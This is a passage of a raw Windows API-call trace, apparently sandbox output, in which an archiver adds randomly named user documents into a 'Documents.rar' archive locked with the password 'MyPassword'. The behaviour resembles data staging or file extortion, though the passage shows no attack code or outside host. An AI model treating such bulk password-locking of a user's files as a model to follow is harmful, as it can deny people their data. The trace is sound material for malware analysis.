(in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.518] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.518] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.518] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.518] FindFirstFileW (in: lpFileName="PonYvH9js.docx", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3b5b210 [0068.518] FindClose (in: hFindFile=0x3b5b210 | out: hFindFile=0x3b5b210) returned 1 [0068.518] CreateFileW (lpFileName="PonYvH9js.docx" (normalized: "c:\\users\\whuoxysd\\documents\\ponyvh9js.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0068.518] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2e0a30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0068.518] GetTickCount () returned 0xa676b8 [0068.518] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0068.518] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0068.519] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0068.519] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0068.519] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="Pkijc OVe1YF8QnT.xlsx") returned 21 [0068.519] SetWindowTextW (hWnd=0x10280, lpString="PonYvH9js.docx") returned 1 [0068.519] GetTickCount () returned 0xa676b8 [0068.519] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.519] CryptAcquireContextW (in: phProv=0x1cd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1cd850*=0x3025f0) returned 1 [0068.519] CryptGenRandom (in: hProv=0x3025f0, dwLen=0x10, pbBuffer=0x1cd8d0 | out: pbBuffer=0x1cd8d0) returned 1 [0068.519] CryptReleaseContext (hProv=0x3025f0, dwFlags=0x0) returned 1 [0068.519] GetSystemTime (in: lpSystemTime=0x1cd7e8 | out: lpSystemTime=0x1cd7e8*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x1e, wMilliseconds=0x8f)) [0068.519] SystemTimeToFileTime (in: lpSystemTime=0x1cd7e8, lpFileTime=0x1cd7e0 | out: lpFileTime=0x1cd7e0) returned 1 [0068.519] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd810 | out: lpPerformanceCount=0x1cd810*=14385980169) returned 1 [0068.519] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a0040*, lpNumberOfBytesRead=0x1cd8f0*=0xc8e3, lpOverlapped=0x0) returned 1 [0068.520] ReadFile (in: hFile=0x1b0, lpBuffer=0x36ac923, nNumberOfBytesToRead=0xf371d, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36ac923*, lpNumberOfBytesRead=0x1cd8f0*=0x0, lpOverlapped=0x0) returned 1 [0068.520] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.520] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.521] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b64010 [0068.521] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b64040 [0068.521] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b64040, Size=0x48) returned 0x39db40 [0068.521] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.521] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b64040 [0068.521] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b64040, Size=0x48) returned 0x39daf0 [0068.521] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.521] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.521] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b64040 [0068.521] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b64070 [0068.521] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b64070 | out: hHeap=0x2e0000) returned 1 [0068.521] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b64040 | out: hHeap=0x2e0000) returned 1 [0068.521] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b64010, Size=0x48) returned 0x39db40 [0068.521] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39db40, Size=0x7a) returned 0x3a3910 [0068.521] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.521] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.522] GetTickCount () returned 0xa676b8 [0068.522] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd730 | out: lpPerformanceCount=0x1cd730*=14386254534) returned 1 [0068.522] GetTickCount () returned 0xa676b8 [0068.522] GetTickCount () returned 0xa676b8 [0068.522] GetTickCount () returned 0xa676b8 [0068.522] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.522] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.522] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.523] ResetEvent (hEvent=0x1a4) returned 1 [0068.523] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.525] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.525] ResetEvent (hEvent=0x1a4) returned 1 [0068.525] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.527] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.527] GetTickCount () returned 0xa676c7 [0068.527] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd700 | out: lpPerformanceCount=0x1cd700*=14386775259) returned 1 [0068.527] GetTickCount () returned 0xa676c7 [0068.527] GetTickCount () returned 0xa676c7 [0068.527] GetTickCount () returned 0xa676c7 [0068.527] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.527] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.527] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.527] ResetEvent (hEvent=0x190) returned 1 [0068.528] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.528] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.528] ResetEvent (hEvent=0x190) returned 1 [0068.528] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.529] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.529] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 1 [0068.529] GetMessageW (in: lpMsg=0x1cd4e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cd4e0) returned 1 [0068.529] GetFocus () returned 0x0 [0068.529] TranslateMessage (lpMsg=0x1cd4e0) returned 0 [0068.529] DispatchMessageW (lpMsg=0x1cd4e0) returned 0x0 [0068.529] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.529] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5e0*=0) returned 0x28da62 [0068.529] SetFilePointer (in: hFile=0x198, lDistanceToMove=98, lpDistanceToMoveHigh=0x1cd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5b0*=0) returned 0x28dac4 [0068.529] CryptUnprotectMemory (in: pDataIn=0x1cd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd460) returned 1 [0068.529] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0068.529] CryptUnprotectMemory (in: pDataIn=0x1cce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cce40) returned 1 [0068.529] CryptUnprotectMemory (in: pDataIn=0x1ccf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1ccf40) returned 1 [0068.529] CryptUnprotectMemory (in: pDataIn=0x1cd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1cd0c0) returned 1 [0068.529] WriteFile (in: hFile=0x198, lpBuffer=0x219fde0*, nNumberOfBytesToWrite=0xc970, lpNumberOfBytesWritten=0x1cd5e0, lpOverlapped=0x0 | out: lpBuffer=0x219fde0*, lpNumberOfBytesWritten=0x1cd5e0*=0xc970, lpOverlapped=0x0) returned 1 [0068.530] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.530] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.530] SetFilePointer (in: hFile=0x198, lDistanceToMove=2677346, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x28da62 [0068.530] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9c80*=0) returned 0x28da62 [0068.530] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b64010 [0068.530] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b64040 [0068.530] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b64040, Size=0x48) returned 0x39daf0 [0068.530] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.530] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b64040 [0068.530] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b64040, Size=0x48) returned 0x39db40 [0068.530] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.531] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.531] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b64040 [0068.531] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b64070 [0068.531] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b64070 | out: hHeap=0x2e0000) returned 1 [0068.531] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b64040 | out: hHeap=0x2e0000) returned 1 [0068.531] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b64010, Size=0x48) returned 0x39daf0 [0068.531] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39daf0, Size=0x7a) returned 0x3a3910 [0068.531] WriteFile (in: hFile=0x198, lpBuffer=0x3a3913*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x1c82c0, lpOverlapped=0x0 | out: lpBuffer=0x3a3913*, lpNumberOfBytesWritten=0x1c82c0*=0x62, lpOverlapped=0x0) returned 1 [0068.531] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b64010 [0068.531] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x62) returned 0x3b64910 [0068.531] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.531] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.531] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x29a434 [0068.531] CloseHandle (hObject=0x1b0) returned 1 [0068.531] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.531] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.531] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.531] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.531] FindFirstFileW (in: lpFileName="PQcpfPJA3.pptx", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3b5b210 [0068.531] FindClose (in: hFindFile=0x3b5b210 | out: hFindFile=0x3b5b210) returned 1 [0068.531] CreateFileW (lpFileName="PQcpfPJA3.pptx" (normalized: "c:\\users\\whuoxysd\\documents\\pqcpfpja3.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0068.531] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2e0e30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0068.531] GetTickCount () returned 0xa676c7 [0068.531] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0068.531] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0068.531] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0068.531] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0068.531] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="PonYvH9js.docx") returned 14 [0068.531] SetWindowTextW (hWnd=0x10280, lpString="PQcpfPJA3.pptx") returned 1 [0068.532] GetTickCount () returned 0xa676c7 [0068.532] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.532] CryptAcquireContextW (in: phProv=0x1cd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1cd850*=0x3025f0) returned 1 [0068.532] CryptGenRandom (in: hProv=0x3025f0, dwLen=0x10, pbBuffer=0x1cd8d0 | out: pbBuffer=0x1cd8d0) returned 1 [0068.532] CryptReleaseContext (hProv=0x3025f0, dwFlags=0x0) returned 1 [0068.532] GetSystemTime (in: lpSystemTime=0x1cd7e8 | out: lpSystemTime=0x1cd7e8*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x1e, wMilliseconds=0x9c)) [0068.532] SystemTimeToFileTime (in: lpSystemTime=0x1cd7e8, lpFileTime=0x1cd7e0 | out: lpFileTime=0x1cd7e0) returned 1 [0068.532] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd810 | out: lpPerformanceCount=0x1cd810*=14387266037) returned 1 [0068.532] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a0040*, lpNumberOfBytesRead=0x1cd8f0*=0x11993, lpOverlapped=0x0) returned 1 [0068.533] ReadFile (in: hFile=0x1b0, lpBuffer=0x36b19d3, nNumberOfBytesToRead=0xee66d, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36b19d3*, lpNumberOfBytesRead=0x1cd8f0*=0x0, lpOverlapped=0x0) returned 1 [0068.533] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.533] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.533] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b64040 [0068.533] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b64070 [0068.533] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b64070, Size=0x48) returned 0x39db40 [0068.533] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.533] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b64070 [0068.533] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b64070, Size=0x48) returned 0x39daf0 [0068.533] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.533] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.533] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b64070 [0068.533] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b640a0 [0068.533] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b640a0 | out: hHeap=0x2e0000) returned 1 [0068.533] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b64070 | out: hHeap=0x2e0000) returned 1 [0068.533] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b64040, Size=0x48) returned 0x39db40 [0068.533] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39db40, Size=0x7a) returned 0x3a3910 [0068.533] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.533] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.534] GetTickCount () returned 0xa676c7 [0068.535] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd730 | out: lpPerformanceCount=0x1cd730*=14387492443) returned 1 [0068.535] GetTickCount () returned 0xa676c7 [0068.535] GetTickCount () returned 0xa676c7 [0068.535] GetTickCount () returned 0xa676c7 [0068.535] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.535] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.535] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.535] ResetEvent (hEvent=0x1a4) returned 1 [0068.535] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.536] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.536] ResetEvent (hEvent=0x1a4) returned 1 [0068.536] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.539] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.539] ResetEvent (hEvent=0x1a4) returned 1 [0068.539] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.541] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.541] GetTickCount () returned 0xa676c7 [0068.541] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd700 | out: lpPerformanceCount=0x1cd700*=14388142316) returned 1 [0068.541] GetTickCount () returned 0xa676c7 [0068.541] GetTickCount () returned 0xa676c7 [0068.541] GetTickCount () returned 0xa676c7 [0068.541] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.541] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.541] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.541] ResetEvent (hEvent=0x190) returned 1 [0068.541] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.542] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.542] ResetEvent (hEvent=0x190) returned 1 [0068.542] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.542] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.542] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.542] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.542] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5e0*=0) returned 0x29a434 [0068.543] SetFilePointer (in: hFile=0x198, lDistanceToMove=98, lpDistanceToMoveHigh=0x1cd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5b0*=0) returned 0x29a496 [0068.543] CryptUnprotectMemory (in: pDataIn=0x1cd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd460) returned 1 [0068.552] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0068.552] CryptUnprotectMemory (in: pDataIn=0x1cce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cce40) returned 1 [0068.553] CryptUnprotectMemory (in: pDataIn=0x1ccf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1ccf40) returned 1 [0068.553] CryptUnprotectMemory (in: pDataIn=0x1cd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1cd0c0) returned 1 [0068.553] WriteFile (in: hFile=0x198, lpBuffer=0x219fde0*, nNumberOfBytesToWrite=0x11a40, lpNumberOfBytesWritten=0x1cd5e0, lpOverlapped=0x0 | out: lpBuffer=0x219fde0*, lpNumberOfBytesWritten=0x1cd5e0*=0x11a40, lpOverlapped=0x0) returned 1 [0068.554] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.554] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.554] SetFilePointer (in: hFile=0x198, lDistanceToMove=2729012, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x29a434 [0068.554] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9c80*=0) returned 0x29a434 [0068.554] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b64040 [0068.554] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b64070 [0068.554] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b64070, Size=0x48) returned 0x39daf0 [0068.554] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.554] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b64070 [0068.554] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b64070, Size=0x48) returned 0x39db40 [0068.554] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.554] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.554] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b64070 [0068.554] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b640a0 [0068.554] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b640a0 | out: hHeap=0x2e0000) returned 1 [0068.554] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b64070 | out: hHeap=0x2e0000) returned 1 [0068.554] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b64040, Size=0x48) returned 0x39daf0 [0068.554] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39daf0, Size=0x7a) returned 0x3a3910 [0068.554] WriteFile (in: hFile=0x198, lpBuffer=0x3a3913*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x1c82c0, lpOverlapped=0x0 | out: lpBuffer=0x3a3913*, lpNumberOfBytesWritten=0x1c82c0*=0x62, lpOverlapped=0x0) returned 1 [0068.554] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b64040 [0068.554] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x62) returned 0x3b64980 [0068.554] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.554] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.554] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x2abed6 [0068.554] CloseHandle (hObject=0x1b0) returned 1 [0068.554] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.554] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.554] PeekMessageW (in: 